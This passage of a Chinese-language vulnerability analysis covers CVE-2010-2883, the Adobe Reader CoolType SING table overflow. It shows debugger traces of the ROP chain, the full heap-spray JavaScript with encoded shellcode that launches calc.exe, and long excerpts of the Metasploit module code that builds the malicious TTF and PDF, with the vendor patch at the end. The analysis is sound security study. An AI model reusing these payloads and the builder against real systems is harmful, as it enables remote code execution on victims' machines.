4A801F90 58 pop eax ; icucnv36.4A8A0004
4A801F91 C3 retn
eax = 0x4A8A0004
4A80A7D8 8B00 mov eax,dword ptr ds:[eax]
4A80A7DA C3 retn
eax = [eax] = 0x037F0000
4A8063A5 59 pop ecx ; icucnv36.4A801064
4A8063A6 C3 retn
ecx = 0x4A801064
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn
eax = edi = 0x037F0000
4A802AB1 5B pop ebx
4A802AB2 C3 retn
ebx = 0x00000020
这里的retn 再一次跳到了0x4A80A8A6
4A80AEDC 8D5424 0C lea edx,dword ptr ss:[esp+0xC]
4A80AEE0 52 push edx
4A80AEE1 50 push eax
4A80AEE2 FF7424 0C push dword ptr ss:[esp+0xC]
4A80AEE6 FF35 3C098A4A push dword ptr ds:[0x4A8A093C]
4A80AEEC FFD1 call ecx
4A80AEEE 83C4 10 add esp,0x10
4A80AEF1 C3 retn
这里ecx = 0x4A801064
call ecx 跳转到了0x4A801064
4A801064 C3 retn
这里[esp] = 0x4A80AEEE
4A80AEEE 83C4 10 add esp,0x10
4A80AEF1 C3 retn
4A801F90 58 pop eax
4A801F91 C3 retn
4A80D585 03C2 add eax,edx
4A80D587 C3 retn
4A8063A5 59 pop ecx ; icucnv36.4A801064
4A8063A6 C3 retn
这里的ecx = 0x4A801064
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn
4A802AB1 5B pop ebx
4A802AB2 C3 retn
4A801F90 58 pop eax ; <&MSVCR80.memcpy>
4A801F91 C3 retn
这里将memcpy函数地址保存在了eax寄存器中
4A80B692 - FF20 jmp dword ptr ds:[eax] ; MSVCR80.memcpy
这里用到的memcpy函数将要执行的shellcode写入到MapViewOfFile返回的地址。因为这段内存是可读可写的,所以就绕过了DEP的保护。
0C0C0D44 03E90000 CALL 到 memcpy
0C0C0D48 03E90000 dest = 03E90000
0C0C0D4C 0C0C0D54 src = 0C0C0D54
0C0C0D50 00001000 n = 1000 (4096.)
memcpy的参数如上。
03790010 3147 18 xor dword ptr ds:[edi+0x18],eax
03790013 0347 18 add eax,dword ptr ds:[edi+0x18]
03790016 83C7 04 add edi,0x4
03790019 ^ E2 F5 loopd X03790010
最后这里的循环将shellcode解密
0379001B FC cld
0379001C E8 82000000 call 037900A3
并跳转到0x037900A3处继续执行
037D00A3 5D pop ebp ; 037D0021
037D00A4 6A 01 push 0x1
037D00A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2]
037D00AC 50 push eax
037D00AD 68 318B6F87 push 0x876F8B31
037D00B2 FFD5 call ebp
ebp = 0x037D0021
这里的eax = 0x038300D3 指向的是一个字符串 “calc.exe”
call ebp之后执行calc.exe命令。总结一下这部分由堆喷射覆盖在栈上的数据都做了一些什么。主要做了新建临时文件,将文件映射到内存,将真正的shellcode拷贝到内存的某一块区域并且解码这些shellcode然后执行。
JavaScript实现HeapSpray
前面提到过,这个漏洞样本的编写中,借助了PDF本身支持JS的特性实现了堆喷射。这里我们借助PDFStreamDumper工具提取样本中的这段实现堆喷射的JS代码段。
var var_shellcode =
unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ub5ba%uda4b%udd0e%ud9c1%u2474%u5ef4%uc933%u31b1%u5631%u0313%u1356%uee83%ua949%uf22f%uac59%u0bd0%ud199%uee59%ud1a8%u7a3e%ue19a%u2e35%u8916%udb18%uffad%uecb4%ub506%uc3e2%ue697%u42d7%uf51b%ua50b%u3622%ua45e%u2b63%uf493%u273c%ue906%u7d49%u829b%u9301%u779b%u92d1%u298a%ucd6a%ucb0c%u65bf%ud305%u40dc%u68df%u3e16%ub8de%ubf67%u854d%u3248%uc18f%uad6e%u3bfa%u508d%ufffd%u8eec%u1b88%u4456%uc02a%u8967%u83ad%u666b%uccb9%u796f%u676e%uf28b%ua891%u401a%u6cb6%u1247%u35d7%uf52d%u26e8%uaa8e%u2c4c%ube22%u6ffc%u4128%u0a72%u411e%u158c%u2a0e%u9ebd%u2dc1%u7542%uc2a6%ud408%u4a8e%u8cd5%u1693%u7ae6%u2ed7%u8f65%ud4a7%ufa75%u91a2%u1631%u8ade%u18d7%uaa4d%u7afd%u3810%u529d%ub8b7%uab04' );
var var_c = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_c.length + 20 + 8 < 0x10000) var_c+=var_c;
var_b = var_c.substring(0, (0x0c0c-0x24)/2);
var_b += var_shellcode;
var_b += var_c;
var_d = var_b.substring(0, 0x10000/2);
while(var_d.length < 0x80000) var_d += var_d;
var_3 = var_d.substring(0, 0x80000 - (0x1020-0x08) / 2);
var var_4 = new Array();
for (var_i=0;var_i<0x1f0;var_i++) var_4[var_i]=var_3+"s";
所有的shellcode都被转化成了十六进制的转义序列,经过unescape解码之后存储在了var_shellcode之中。var_c变量存储了“%u0c0c%u0c0c”,接下来用了一个while循环叠加var_c,用于覆盖内存中的数据,采用0x0c0c0c0c的原因是因为它所对应的指令是
or al,0x0C
这样的指令执行的效果对al寄存器不会产生任何影响很适合当作滑板指令是堆喷射的常用技巧。
接下来的var_b保存了前面的所有滑板指令以及shellcode。最关键的实现堆喷射的语句是new Array()
利用数组来开辟内存区域,然后通过填充数组数据的方式来喷射shellcode。
PDF格式&样本构造
先回顾一下漏洞的触发点,漏洞的触发点是在解析TTF字体的SING表时出现的问题。那很显然我们首先要了解一下TTF的格式定义以及SING表的具体字段。同时我们还需要了解PDF格式规范当中是如何来引用TTF字体文件的,以及PDF是怎么支持JavaScript脚本执行的。
先来了解一下PDF的基本格式
PDF文件由最基本的几个部分组成。
首先看到的是Header部分。这是PDF文件的开始部分。主要用来指明当前PDF文件所遵循的PDF格式标准版本。例如%PDF-1.5
Body部分包含了PDF文档的主要内容,所有向用户展现的内容都在此存放。
Cross-reference table 即交叉引用表,包含了当前PDF文档中所有对象的引用、偏移量以及字节长度。借助这个引用表可以在全文档范围内随机访问任何一个对象,非常的方便。
Trailer主要包含了指向交叉引用表的指针以及一些关键对象的指针并且以%%EOF标记文件结束,帮助符合标准的阅读器能够快速定位到需要的对象。所有的PDF阅读器都是要从这里开始解析。
了解完PDF基本格式。秉承着用到什么再提什么的原则,我们这里通过分析MSF提供的exp来帮助理解PDF文档的构造过程。
前面提到过exp的位置在Kali Linux下的
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
这个脚本是用ruby语言编写的,对于ruby语法的相关细节本文不再赘述。
定位到 def make_pdf(ttf, js) 的部分,这里是创建pdf的核心位置。
xref = []
eol = "n"
endobj = "endobj" << eol
看到首先定义了几个接下来会用到的字符以及交叉引用表xref。
pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol
这里描述的是Header部分的内容,首先定义了版本号,这个样本遵循的是PDF1.5版本。
接下来调用了一个random_non_ascii_string函数
def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
该函数用于随机出不再ASCII范围内的字符。换句话说这里随机了4个字符。关于这四个字符的作用。Adobe给出的PDF文档里是这样描述的
If a PDF file contains binary data, as most do, the header line shall be immediately followed by a comment line containing at least four binary characters—that is ,characters whose codes are 128 or greater. This ensures proper behaviour of file transfer applications that inspect data near the beginning of a file to determine whether to treat the file's contents as text or as binary.
这四个code大于128的字符用于确保当前PDF文档被当作二进制文件来对待而不是文本文件。
看完了Header部分的实现,再看Body部分的实现之前,先来了解一下Body部分大致的组织结构。
catalog(目录)在这里充当的是根对象,由catalog对象引出Page tree、Outline hierarchy、Article threads等等,我无法全部都一一介绍,只介绍必要的东西。如果你对其它内容更感兴趣可以参考PDF标准文档。
继续往下看会看到catalog对象的定义
xref << pdf.length
pdf << io_def(1) << n_obfu("<<") << eol
pdf << n_obfu("/Pages ") << io_ref(2) << eol
pdf << n_obfu("/Type /Catalog") << eol
pdf << n_obfu("/OpenAction ") << io_ref(11) << eol
# The AcroForm is required to get icucnv36.dll to load
pdf << n_obfu("/AcroForm ") << io_ref(13) << eol
pdf << n_obfu(">>") << eol
pdf << endobj
这里用到了两个io_def和n_obfu函数。此处的xref << pdf.length用于记录对象的偏移量。
def io_def(id)
"%d 0 obj n" % id
end
用于表示对象编号和生成数,在PDF中间接对象都是由两个关键词obj和endobj表示的,endobj关键字必须自成一行,obj对象所在行需要有两个由空格隔开的数字来分别表示对象编号和对象生成数。对象编号用来唯一区分和标识各个对象,对象生成数会随着对象每次被释放之后递增(具体详情可以参考官方文档)。下面是一个间接对象的例子:
2 0 obj
123
endobj
很显然io_def函数的主要作用就是用来表示对象的对象编号和生成数以及obj关键字。这里的生成数默认是0。
def n_obfu(str)
#return str
result = ""
str.scan(/./u) do |c| #/u 表示按unicode(utf-8)匹配
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' # rand(2) [0,2)
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
该函数随机编码字母字符(以#%x的形式)。主要作用应该是混淆和免杀。
我们注意到这里的代码n_obfu(“<<”) 用了”<<”字符。在PDF中字典对象是由<< >>包括的一系列键值对组成的。因此catalog本质上是一个字典对象。
在catalog中包含了非常多的可选和必选的字段条目。首先在catalog中,/Type条目是必须要存在的,它的值被固定为/Catalog。/Page条目也是必选的,它指向了一个间接对象Page。io_ref函数的定义如下:
def io_ref(id)
"%d 0 R" % id
end
在PDF中引用(或指向)一个间接对象需要用一个对象编号,生成数以及一个关键字R来表示。这里的io_ref(2)表示引用了一个对象编号为2的对象。
剩下的在Catalog中的/OpenAction以及/AcroForm都是可选的选项。
其中/OpenAction是PDF执行JS的关键也是该样本实现堆喷射的地方。/OpenAction中指向了一个数组或者字典对象,该对象可能描述了某种行为,这个行为会在PDF文档被加载时执行。剩下的/AcroForm则指向了一个交互式表单字典(之后会解释为什么在样本中使用了一个交互式表单)。
我们从/Pages指向的页面对象开始分析。/Page条目指向了一个对象编号为2的页面对象。
xref << pdf.length
pdf << io_def(2) << n_obfu("<<") << eol
pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
pdf << n_obfu("/Resources ") << io_ref(4) << eol
pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol
pdf << n_obfu("/Count 1") << eol
pdf << n_obfu("/Type /Pages") << eol
pdf << n_obfu(">>") << eol
pdf << endobj
同样的/Type条目是必选的并且值固定为/Pages,/Count条目用来记录Page树中的叶子结点个数。这里其实还有一个/Parent必选条目用来指定父结点,但是由于这里是根结点所以可以忽略该条目。/Kid条目用来引用一个数组,数组的元素是当前结点的直接子结点。/MediaBox 是个可选条目,定义了要显示或打印页面的物理媒介的区域。/Resources记录了当前Page用到的所有资源,可空。在当前样本中就是在Resources条目中指定了字体,从而引入有恶意数据的TTF字体文件。这里我们重点分析一下/Resources条目。
/Resources指向了一个对象编号为4的对象。
xref << pdf.length
pdf << io_def(4)
pdf << n_obfu("<<") << eol
pdf << n_obfu("/Font ") << io_ref(6) << eol
pdf << ">>" << eol
pdf << endobj
/Font条目指向了一个用于描述引用的字体状况的字体字典对象。
xref << pdf.length
pdf << io_def(6) << n_obfu("<<") << eol
pdf << n_obfu("/F1 ") << io_ref(7) << eol
pdf << ">>" << eol
pdf << endobj
这里的/F1代表了使用Type 1字体技术定义字形形状的字体(关于Type1详情请看文档)
xref << pdf.length
pdf << io_def(7) << n_obfu("<<") << eol
pdf << n_obfu("/Type /Font") << eol
pdf << n_obfu("/Subtype /TrueType") << eol
pdf << n_obfu("/Name /F1") << eol
pdf << n_obfu("/BaseFont /Cinema") << eol
pdf << n_obfu("/Widths []") << eol
pdf << n_obfu("/FontDescriptor ") << io_ref(9)
pdf << n_obfu("/Encoding /MacRomanEncoding")
pdf << n_obfu(">>") << eol
pdf << endobj
/FontDescriptor条目用于描述字体各种属性。
xref << pdf.length
pdf << io_def(9) << n_obfu("<<")
pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema")
pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << n_obfu("/FontBBox [-177 -269 1123 866]")
pdf << n_obfu("/FontFile2 ") << io_ref(10)
pdf << n_obfu(">>") << eol
pdf << endobj
FontFile2指向了一个流对象,这个流对象即是TTF字体数据,我们构造的SING表数据也包含在内。在PDF中流对象由Stream和Endstream关键字标识。
xref << pdf.length
compressed = Zlib::Deflate.deflate(ttf)
pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
这里将我们构造好的ttf(之后会提及如何构造ttf)数据经过deflate压缩之后给了compressed变量。并且被包含在stream和endstream关键字之间。
接下来分析一下如何构造ttf。分析MSF提供的exp发现它在构造的时候并没有从头根据TrueType字体的标准文档从零开始构造,而是选择了采用一个现有的字体文件并把SING表格插入进去。这确实是很省力的一种做法。
回到KaliLinux下的
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/cve-2010-2883.ttf
可以看到所采用的字体文件在这个位置。
在构造TTF之前,首先了解一下SING表的数据结构
typedef struct
{
USHORT tableVersionMajor;
USHORT tableVersionMinor;
USHORT glyphletVersion;
USHORT embeddinginfo;
USHORT mainGID;
USHORT unitsPerEm;
SHORT vertAdvance;
SHORT vertOrigin;
BYTE[28] uniqueName;
BYTE[16] METAMD5;
BYTE nameLength;
BYTE[] baseGlyphName;
} SINGTable;
我们把需要注入的恶意代码写入在uniqueName中即可。
参考TrueType文档中的数据类型。我们了解到USHORT和SHORT都占16个bit。接下来查看一下exp中的make_ttf函数定义。
def make_ttf
# load the static ttf file
ttf_data = @ttf_data.dup
# Build the SING table
sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv')
这里首先填充了uniqueName字段之前的字段数据。并且注意到这里使用了pack(‘v’)函数来实现小端字节序。如果你仔细阅读TrueType的文档描述,会了解到TrueType实际上遵循的是大端字节序来描述数据,这里之所以采用小端是因为此时的uniqueName字段数据已然不是原先的作用了,它此时包含的是要在x86架构环境下执行的指令地址,而x86架构下需要遵循的是小端字节序。
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(0x254 - sing.length)
继续往下看,这里使用了rand_text函数填充了随机字符,主要作用是混淆。在前面为了方便识别数据块,我们将随机字符固定成了“A”。
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')
ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing
ttf_data
end
之后就是将前面我们动态调试时分析过的几个关键地址写入SING表中。并把TTF字体中的name表替换成SING表。
到此为止,我们已经知道了如何构造SING表和TTF以及在PDF中如何引用这个TTF字体文件。接下来再来分析一下PDF中是如何执行JavaScript的。
回到catalog对象的定义中的/OpenAction条目,引用了一个编号为11的对象。
xref << pdf.length
pdf << io_def(11) << n_obfu("<<")
pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12)
pdf << n_obfu(">>") << eol
pdf << endobj
这里指定了一个用于执行JS的action。
xref << pdf.length
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
注意到这里将我们构造好的JS代码直接代入了ascii_hex_whitespace_encode函数。在exp中找到ascii_hex_whitespace_encode的函数定义如下
def ascii_hex_whitespace_encode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
这个函数将ASCII转换成十六进制并且中间随机间隔1到3个空格。
在前面的介绍中已经把核心的JS代码介绍了。接下来看下EXP中是怎么构造JS的。
定位到make_js函数处
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx
0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)
……
].pack('V*')
首先定义了一个stack_data变量,该变量中存储了构造的ROP链。由于代码太长,省略了中间的shellcode。同样这里也用了pack(‘V*’)按照小端字节序来处理。
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
在接下来的处理中同样做了很多的随机字符生成用于混淆。
并且将payload代码连入。
js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
js
end
再将刚才的变量代入到进js变量中形成完整的JavaScript堆喷射代码。至此js部分就分析完成了。
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
以上代码是PDF构造的结尾部分。用于生成交叉引用表和trailer表。交叉引用表每一行包含了一个对象的文件偏移,生成数以及空间占用标识符。并以%%EOF标识结束。
至此样本构造部分的分析就结束了,虽然有很多地方还是没有讲的很清楚,有兴趣的朋友可以阅读PDF的官方文档深入了解PDF的详细情况。
漏洞修复
下载AdobeReader 9.4.0版本提取CoolType.dll,定位到相同的位置
.text:0803DD90 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD94 jnz loc_803DEF6
.text:0803DD9A push offset aName ; "name"
.text:0803DD9F push edi ; int
.text:0803DDA0 lea ecx, [ebp+108h+var_124]
.text:0803DDA3 xor bl, bl
.text:0803DDA5 call sub_80217D7
.text:0803DDAA cmp [ebp+108h+var_124], 0
.text:0803DDAE jnz short loc_803DE1A
.text:0803DDB0 push offset aSing ; "SING"
.text:0803DDB5 push edi ; int
.text:0803DDB6 lea ecx, [ebp+108h+var_12C]
.text:0803DDB9 call sub_8021B06
.text:0803DDBE mov ecx, [ebp+108h+var_12C]
.text:0803DDC1 test ecx, ecx
.text:0803DDC1 ; } // starts at 803DD90
.text:0803DDC3 ; try {
.text:0803DDC3 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DDC7 jz short loc_803DE03
.text:0803DDC9 mov eax, [ecx]
.text:0803DDCB and eax, 0FFFFh
.text:0803DDD0 jz short loc_803DDD9
.text:0803DDD2 cmp eax, 100h
.text:0803DDD7 jnz short loc_803DE01
.text:0803DDD9
.text:0803DDD9 loc_803DDD9: ; CODE XREF: sub_803DD33+9D↑j
.text:0803DDD9 push 104h ; int
.text:0803DDDE add ecx, 10h
.text:0803DDE1 push ecx ; char *
.text:0803DDE2 lea eax, [ebp+108h+var_108]
.text:0803DDE5 push eax ; char *
.text:0803DDE6 mov [ebp+108h+var_108], 0
.text:0803DDEA call sub_813391E
很显然这里不再是调用strcat而是改为调用sub_813391E函数
.text:0813391E push esi
.text:0813391F mov esi, [esp+4+arg_0]
.text:08133923 push esi ; char *
.text:08133924 call strlen
.text:08133929 pop ecx
.text:0813392A mov ecx, [esp+4+arg_8]
.text:0813392E cmp ecx, eax
.text:08133930 ja short loc_8133936
.text:08133932 mov eax, esi
.text:08133934 pop esi
.text:08133935 retn
.text:08133936 loc_8133936: ; CODE XREF: sub_813391E+12↑j
.text:08133936 sub ecx, eax
.text:08133938 dec ecx
.text:08133939 push ecx ; size_t
.text:0813393A push [esp+8+arg_4] ; char *
.text:0813393E add eax, esi
.text:08133940 push eax ; char *
.text:08133941 call ds:strncat
.text:08133947 add esp, 0Ch
.text:0813394A pop esi
.text:0813394B retn
该函数获取了字段的长度,判断是否超出限制。如果超出限制就用strncat限制了拷贝的字节数从而修复了该漏洞。
参考资料
[1]PDF标准文档
[3]TrueType格式文档
发表评论
您还未登录,请先登录。
登录